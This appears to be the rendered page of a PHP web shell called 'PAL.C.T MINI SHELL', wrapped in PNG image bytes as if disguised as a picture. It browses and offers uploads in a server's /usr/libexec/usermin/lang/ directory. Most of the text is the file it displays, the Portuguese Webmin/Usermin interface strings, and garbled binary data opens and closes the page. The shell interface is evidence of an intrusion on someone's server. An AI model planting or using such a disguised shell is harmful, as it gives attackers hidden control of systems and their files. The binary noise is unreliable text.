php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/lang/
upload
files >> //usr/libexec/usermin/lang/pt

main_homepage=Home Page
main_feedback=Comentários..
main_switch=Trocar utilizador..
main_logout=Terminar Sessão
main_version=Versão $1 em servidor $2 ($3)
main_title=Webmin $1 em servidor $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Você não possui acesso a nenhum módulo do Webmin.
main_skill=Nível de perícia
main_readonly=(Modo de leitura)
main_return=Voltar a $1
main_unused=Módulos não utilizados
main_refreshmods=Actualizar Módulos

link_essl=O módulo Perl Net::SSLeay necessário para realizar conexões HTTPS não se encontra instalado no seu sistema.

category_servers=Servidores
category_hardware=Hardware
category_system=Sistema
category_webmin=Webmin
category_net=Rede
category_syslet=Syslets
category_cluster=Cluster
category_info=Informação
category_=Outros

longcategory_servers=Módulos para configuração web, email, FTP e outros servidores
longcategory_hardware=Módulos para configuração de impressora, disco e outro hardware
longcategory_system=Módulos para utilizadores, sistemas de ficheiros, Cron jobs e outras definições de sistema
longcategory_webmin=Módulos para configuração do Webmin
longcategory_net=Módulos para configuração de rede e outros serviços de rede
longcategory_cluster=Módulos que podem gerir múltiplos servidores a partir de um único interface
longcategory_info=Módulos que apresentam informação acerca do seu sistema
longcategory_=Módulos que não pertencem a nenhuma outra categoria

header_webmin=Índice do Webmin
header_module=Índice de Módulos
header_help=Ajuda..
header_config=Configuração de Módulos
header_servers=Servidores Webmin

index=Índice
yes=Sim
no=Não
save=Guardar
create=Criar
delete=Eliminar
find=Procurar
error=Erro
error_previous=página anterior
error_stack=Call Stack Trace
error_file=Ficheiro
error_line=Linha
error_sub=Função
error_stackline=No ficheiro $1 na linha $2 chamando $3
efilewrite=Erro ao escrever em $1 : $2
efileclose=Erro ao escrever em $1 ao fechar : $2
efileopen=Erro ao abrir $1 para escrita : $2
default=Por defeito
modify=Modificar
reset=Reset
ok=OK
cancel=Cancelar
helpsearch=Pesquisar Docs..
switch_remote_euser=O utilizador Unix $1 não existe.
programname=Webmin

chooser_title1=Escolher Ficheiro..
chooser_title2=Escolher Directório..
chooser_dir=Directório de $1
chooser_ok=Ok
chooser_date=Escolha Data
chooser_eopen=Listagem falhou : $1

users_title1=Seleccionar Utilizadores..
users_title2=Seleccionar Utilizador..
users_sel=Utilizadores Seleccionados
users_all=Todos os Utilizadores
users_ok=Ok
users_cancel=Cancelar
users_clear=Limpar

groups_title1=Seleccionar Grupos..
groups_title2=Seleccionar Grupo..
groups_all=Todos os Grupos
groups_sel=Grupos Seleccionados
groups_ok=Ok
groups_cancel=Cancelar
groups_clear=Limpar

modules_title1=Seleccione Módulos..
modules_title2=Seleccione Módulo..
modules_sel=Módulos Seleccionados
modules_all=Todos os Módulos
modules_ok=Ok
modules_cancel=Cancelar
modules_clear=Limpar

config_ecannot=Você não está autorizado para configurar este módulo
config_title=Configuração
config_dir=Para o módulo $1
config_header=Opções configuráveis para $1
config_none=Nenhum
config_eaccess=Você não está autorizado para aceder a este módulo
config_err=Erro ao guardar configuração
config_nochange=Não altere
config_setto=Definir como
config_ewebmin=Parâmetro tipo 14 apenas funciona em Webmin

help_err=Erro ao apresentar ajuda
help_epath=Caminho de ajuda inexistente ou inválido
help_efile=Erro ao ler ficheiro de ajuda $1
help_eheader=Secção <header> em falta
help_einclude=Erro ao incluir $1
help_eif=$1 falhou : $2
help_eexec=$1 falhou : $2

referer_title=Aviso de Segurança
referer_warn=<b>Atenção!</b> O Webmin detectou que o programa $2 foi acedido a partir do URL $1, o qual aparenta estar fora do servidor Webmin. Isto pode ser uma tentativa para enganar o seu servidor para executar um comando perigoso.
referer_warn_unknown=<b>Atenção!</b> O Webmin detectou que o programa $1 foi acedido a partir de um URL desconhecido, o qual aparenta estar fora do servidor Webmin. Isto pode ser uma tentativa para enganar o seu servidor para executar um comando perigoso.
referer_fix1=Se este é um link legítimo, você pode autorizar links oriundos deste URL do seguinte modo:<ul><li>Faça Login no Webmin normalmente.<li>Vá para o módulo <b>Configuração do Webmin</b>.<li>Click no icon "Trusted Referrers".<li>Escreva o $1 no campo de <b>Trusted websites</b>, e click <b>Guardar</b>.</ul>
referer_fix2=Em alternativa, você pode configurar o Webmin para autorizar este link a partir da linha de comandos através de :<ul><li>Login como <tt>root</tt>, e edite o ficheiro <tt>/etc/webmin/config</tt>.<li>Adicione a linha <tt>referers=$1</tt> no final, ou se já existir uma linha de <tt>referers</tt>, adicione-lhe <tt>$1</tt>.<li>Guarde o ficheiro.</ul>
referer_fix1u=Se o seu browser não envia o necessário header <tt>Referer</tt>, você poderá desligar esta verificação do seguinte modo :<ul><li>Faça Login no Webmin normalmente.<li>Vá para o módulo <b>Configuração do Webmin</b>.<li>Faça click no icon "Trusted Referrers".<li>Active a caixa <b>Trust links from unknown referrers</b>, e click <b>Guardar</b>.</ul>
referer_fix2u=Em alternativa, você pode configurar o Webmin para autorizar links de referers desconhecidos através de :<ul><li>Login como <tt>root</tt>, e edite o ficheiro <tt>/etc/webmin/config</tt>.<li>Encontre a linha <tt>referers_none=1</tt> e modifique-a para <tt>referers_none=0</tt>.<li>Guarde o ficheiro.</ul>

session_header=Login no Webmin
session_mesg=É necessário introduzir um username e password para efectuar login no servidor Webmin em $1.
session_mesg2=É necessário introduzir um username e password para efectuar login.
session_user=Username
session_pass=Password
session_login=Login
session_clear=Limpar
session_failed=Login falhado. Por favor tente novamente.
session_logout=Logout bem sucedido. Use o form abaixo para efectuar login novamente.
session_timed_out=A Sessão expirou depois de $1 minutos de inactividade.
session_save=Relembrar login permanentemente?

pam_header=Login no Webmin
pam_mesg=Você precisa de responder à pergunta abaixo para efectuar login no servidor Webmin em $1.
pam_mesg2=Você precisa de responder à pergunta abaixo para efectuar login.
pam_login=Continue
pam_restart=Reiniciar

acl_root=Directório Root para o seleccionador de ficheiros
acl_otherdirs=Outros directórios visíveis no seleccionador de ficheiros
acl_nodot=Esconder ficheiros ponto (.) no seleccionador de ficheiros?
acl_home=Directório home do Utilizador
acl_uedit=Utilizadores visíveis no seleccionador de utilizadores
acl_uedit_all=Todos os utilizadores
acl_uedit_none=Sem utilizadores
acl_uedit_only=Apenas utilizadores
acl_uedit_except=Todos excepto utilizadores
acl_uedit_uid=Utilizadores com UIDs no intervalo
acl_uedit_group=Utilizadores com grupo
acl_gedit=Grupos visíveis no seleccionador de grupos
acl_gedit_all=Todos os grupos
acl_gedit_none=Sem grupos
acl_gedit_only=Apenas grupos
acl_gedit_except=Todos excepto grupos
acl_gedit_gid=Grupos com GIDs no intervalo
acl_feedback=Pode enviar email de feedback?
acl_feedback2=Sim
acl_feedback1=Sim, mas não com ficheiros de configuração
acl_feedback0=Não
acl_feedback3=Sim, com ficheiros de configuração
acl_rpc=Pode aceitar chamadas RPC?
acl_rpc2=Apenas para <tt>root</tt> ou <tt>admin</tt>
acl_rpc1=Sim
acl_rpc0=Não
acl_readonly2=Utilizador está em modo demo?
acl_readonlyyes=Sim (Alguns módulos podem não estar disponíveis)
acl_negative=Conceder permissões de novo módulo ao utilizador?
acl_fileunix=Procurar ficheiros como utilizador Unix
acl_sameunix=Mesmo que login de Webmin
acl_webminsearch=Mostrar campo de pesquisa Webmin?

month_1=Janeiro
month_2=Fevereiro
month_3=Março
month_4=Abril
month_5=Maio
month_6=Junho
month_7=Julho
month_8=Agosto
month_9=Setembro
month_10=Outubro
month_11=Novembro
month_12=Dezembro

day_0=Domingo
day_1=Segunda-Feira
day_2=Terça-Feira
day_3=Quarta-Feira
day_4=Quinta-Feira
day_5=Sexta-Feira
day_6=Sábado

smonth_1=Jan
smonth_2=Fev
smonth_3=Mar
smonth_4=Abr
smonth_5=Mai
smonth_6=Jun
smonth_7=Jul
smonth_8=Ago
smonth_9=Set
smonth_10=Out
smonth_11=Nov
smonth_12=Dez

sday_0=Do
sday_1=Sg
sday_2=Tr
sday_3=Qa
sday_4=Qi
sday_5=Sx
sday_6=Sa

emodule=Acesso negado : Utilizador $1 não está autorizado a utilizar o módulo $2
emodulecheck=O módulo $1 não se encontra disponível no seu sistema
elock_tries=Erro ao bloquear ficheiro $1 depois de $2 minutos

skill_high=Perito
skill_medium=Intermédio
skill_low=Principiante

feedback_title=Webmin Feedback
feedback_desc=Este form permite-lhe reportar bugs ou fazer sugestões aos developers do Webmin referentes a quaisquer problemas ou funcionalidades em falta que tenha encontrado. Quando é clickado o botão Enviar, os detalhes introduzidos no form serão enviados por email para $1.
feedback_desc2=Este feedback será enviado para o developer do Webmin, não para o seu administrador de sistema, ISP ou empresa de hosting. Por favor escreva o seu feedback em inglês, mesmo que actualmente esteja a ver o Webmin em outro idioma.
feedback_header=Detalhes de feedback
feedback_name=O seu nome
feedback_email=O seu endereço email
feedback_module=Relativo ao módulo
feedback_all=Todos os módulos
feedback_text=Descrição do problema ou sugestão
feedback_os=Incluir detalhes do sistema operativo no email?
feedback_osdesc=Se esta opção for seleccionada, o email de feedback automático irá incluir o nome e versão do seu sistema operativo.
feedback_config=Incluir configuração de módulo no email?
feedback_configdesc=Se esta opção for seleccionada, o email irá incluir a configuração do módulo relacionado e os conteúdos de quaisquer ficheiros de configuração que o módulo utilize. Por exemplo, se o feedback fosse relacionado com o módulo <i>Users and Groups</i>, os seus ficheiros <tt>/etc/passwd</tt> e <tt>/etc/shadow</tt> seriam enviados.
feedback_attach=Ficheiros adicionais para anexar
feedback_send=Enviar Feedback
feedback_mailserver=Enviar via servidor SMTP
feedback_mailserver_def=Programa sendmail local
feedback_err=Erro ao enviar feedback
feedback_emodule=Você escolheu inlcuir configuração de módulos no email, mas não seleccionou um módulo.
feedback_emodule2=O módulo seleccionado não existe
feedback_econfig=Você não tem acesso completo ao módulo seleccionado.
feedback_via=Feedback enviado para $1 via servidor SMTP $2
feedback_prog=Feedback enviado para $1 utilizando programa sendmail $2
feedback_esend=Erro ao enviar feedback via programa sendmail ou servidor SMTP local.
feedback_to=Enviar feedback para endereços
feedback_enoto=Não foram introduzidos endereços como destinatários do feedback
feedback_ecannot=Você não está autorizado a enviar feedback
feedback_ecannot2=Você não está autorizado a enviar feedback contendo ficheiros de configuração

progress_size2=Descarregando $1 ($2) ..
progress_nosize=Descarregando $1 ..
progress_datan=Recebido $1 ($2 %)
progress_data2n=Recebido $1
progress_done=.. descarga completa.
progress_incache=Encontrado $1 em cache ..

readparse_cdheader=Header Content-Disposition em falta
readparse_enc=Esperando encoding form-data, mas recebido encoding normal
readparse_max=Informação excede o tamanho máximo de $1 bytes

password_expired=A sua password expirou, e uma nova tem que ser definida.
password_temp=Você tem que seleccionar uma nova password para substituir o seu login temporário.
password_header=Escolha Nova Password
password_user=Username
password_old=Password actual
password_new1=Nova password
password_new2=Nova password outra vez
password_ok=Alterar
password_clear=Limpar
password_done=A sua password foi alterada com sucesso. Você pode agora <a href='$1'>fazer login novamente</a> com a nova password.
password_err=Erro ao modificar password
password_euser=O seu nome de login não foi encontrado no ficheiro de password!
password_eold=A password actual está incorrecta
password_enew1=Nenhuma nova password foi introduzida
password_enew2=As suas passwords não são iguais
password_epam=PAM error : $1
password_emodpam=O módulo de perl Authen::PAM necessário para efectuar alterações de password não está instalado!
password_enewpass=Nova password não é autorizada : $1

ui_mandatory=Este campo é obrigatório
ui_checkmandatory=Nada foi seleccionado
ui_errors=Multiplos erros foram encontrados :
ui_nothing=Nada foi introduzido
ui_searchcol=Procurar linhas onde
ui_searchfor=Contém o texto
ui_searchok=Procurar
ui_selall=Seleccionar tudo.
ui_selinv=Inverter selecção.
ui_edate=Data inválida
ui_etime=Hora inválida
ui_paging=Apresentando linhas $1 até $2 de $3
ui_rowlabel=$2 na linha $1 :

header_statusmsg=$1 fez login em $2 $3 em $4 ($5)

uptracker_title=Enviando Ficheiro
uptracker_file=Nome de Ficheiro
uptracker_size=Tamanho
uptracker_pc=Progresso
uptracker_eid=Nenhum ID de upload foi especificado
uptracker_eid2=O ID de upload é inválido!
uptracker_of=$1 de $2

wsearch_title=Pesquisar $1
wsearch_modt=Módulo
wsearch_mtitle=Nome do módulo
wsearch_what=Página correspondente
wsearch_type=Tipo correspondente
wsearch_mod=$1 módulo
wsearch_config_webmin=Configuração de módulos Webmin
wsearch_config_usermin=Preferências Usermin
wsearch_help=Página de Ajuda
wsearch_inmod=Em $1
wsearch_text=Texto de interface com o utilizador
wsearch_esearch=Não foi introduzido nada para pesquisar.
wsearch_enone=Não foram encontrados módulos Webmin nem páginas onde fosse encontrado $1.
wsearch_on=(Em $1)
wsearch_helpfor=Ajuda para <i>$1</i>
wsearch_htext=Texto correspondente
wsearch_htype=Fonte
wsearch_hcgis=Referências
wsearch_type_mod=Nome de Módulo
wsearch_type_config=Configuração
wsearch_type_help=Página de ajuda
wsearch_type_text=Interface com o utilizador
wsearch_type_dir=URL do Módulo
wsearch_hmod=Módulo
wsearch_moddir=Caminho URL /$1/
wsearch_searching=Pesquisando por $1 . .
wsearch_found=encontrados $1 resultados :
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`